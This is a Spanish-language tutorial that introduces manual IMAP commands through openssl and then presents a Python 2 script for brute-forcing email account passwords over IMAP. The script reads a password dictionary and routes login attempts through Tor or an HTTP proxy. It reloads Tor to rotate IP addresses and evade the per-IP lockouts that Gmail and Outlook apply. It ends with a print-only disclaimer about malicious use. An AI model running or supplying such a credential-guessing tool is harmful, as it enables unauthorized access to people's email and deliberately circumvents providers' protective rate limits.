Introducción a IMAP

EL presente texto pretende introducir al lector en el uso del protocolo imap.

Qué es imap: El protocolo de acceso a mensajes de Internet (en inglés Internet Message Access Protocol o IMAP), es un protocolo de aplicación que permite el acceso a mensajes almacenados en un servidor de Internet. Mediante IMAP se puede tener acceso al correo electrónico desde cualquier equipo que tenga una conexión a Internet. (wikipedia)

Cómo juego con imap:
1-Te conectás de la siguiente forma:
openssl s_client -connect imap.servidor.com:993 -crlf
donde imap.servidor.con es tu servidor imap y 993 es el puerto imap.
2-Te logueas de la siguiente forma:
a001 login nombredeusuario password 
3-Listas carpetas de la siguiente forma:
a001 list “” “*”
4-Seleccionas carpetas usando la palabra clave select
a001 select INBOX
5-Buscas usando la palabra clave search. Aqui algunos ejemplos:
a001 search seen
a001 search unseen
a001 search from ‘[email protected]
6-Seleccionás el email a leer con fetch y con body establecés que leerás el cuerpo del email mediante el siguiente comando
a001 fetch 1 body[text]

Codeando algo de fuerza bruta:

import socks
import sys
import subprocess
import ssl
import imaplib
from socks import PROXY_TYPE_HTTP
from socks import PROXY_TYPE_SOCKS5

if __name__ == "__main__":
	print '''Ten presente los siguientes tres puntos: 
		1-Es muy posible que algunos servidores, como gmail, rechace toda conexion desde un proxy o desde tor; 
		2-Es posible que un servidor, como outloot, corte la conexion si haces mas de tres intentos con la misma ip
		3-El autor no se hace responsable del uso malicioso  de esta herramienta'''
	inter=2
	tor=False
	palabras=[]
	email= raw_input('Usuario gmail o correo electronico cuando se usa otro imap server: ')
	diccionario=raw_input('Ruta completa del diccionario: ')
	imap_server=raw_input('IMAP server: ')
	imap_port=raw_input('Puerto imap: ')
	proxy_ip=raw_input('Si quieres probar ip-tor-bypass (funcion experimental que requiere tor), ingresa la ip local: ')
        if proxy_ip is not '' :
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
                socks.wrapmodule(imaplib)
		tor=True
		inter=int(raw_input('Cada cuantos intentos fallidos deseas cambiar tu ip?:'))
	if tor is False:
		proxy_ip=raw_input('Si tienes proxy, ingresa ip del proxy http: ')
		if proxy_ip is not '':
		
			proxy_port=raw_input('Port del proxy http: ')
	        	socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, proxy_ip, int(proxy_port))
        		socks.wrapmodule(imaplib)

	
	archivo = open(diccionario)
	for lineas in archivo.readlines():
    		palabras.append(lineas[:-1])

	server = imaplib.IMAP4_SSL(imap_server, imap_port)
	intentos=0
	for password in palabras:

		try:
			rv, data=server.login(email, password)
			
			print 'LA PASSWORD ES '+password
			sys.exit(0)		
		except imaplib.IMAP4.error as detalle:
			if intentos == inter and tor is True:
				
				p=subprocess.call (["/etc/init.d/tor", "reload"])
				socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
        	                socks.wrapmodule(imaplib)
				server = imaplib.IMAP4_SSL(imap_server, imap_port)
				intentos=0
			intentos=intentos+1
			print detalle
			print 'ERROR AL LOGUEARSE CON '+password
			
pass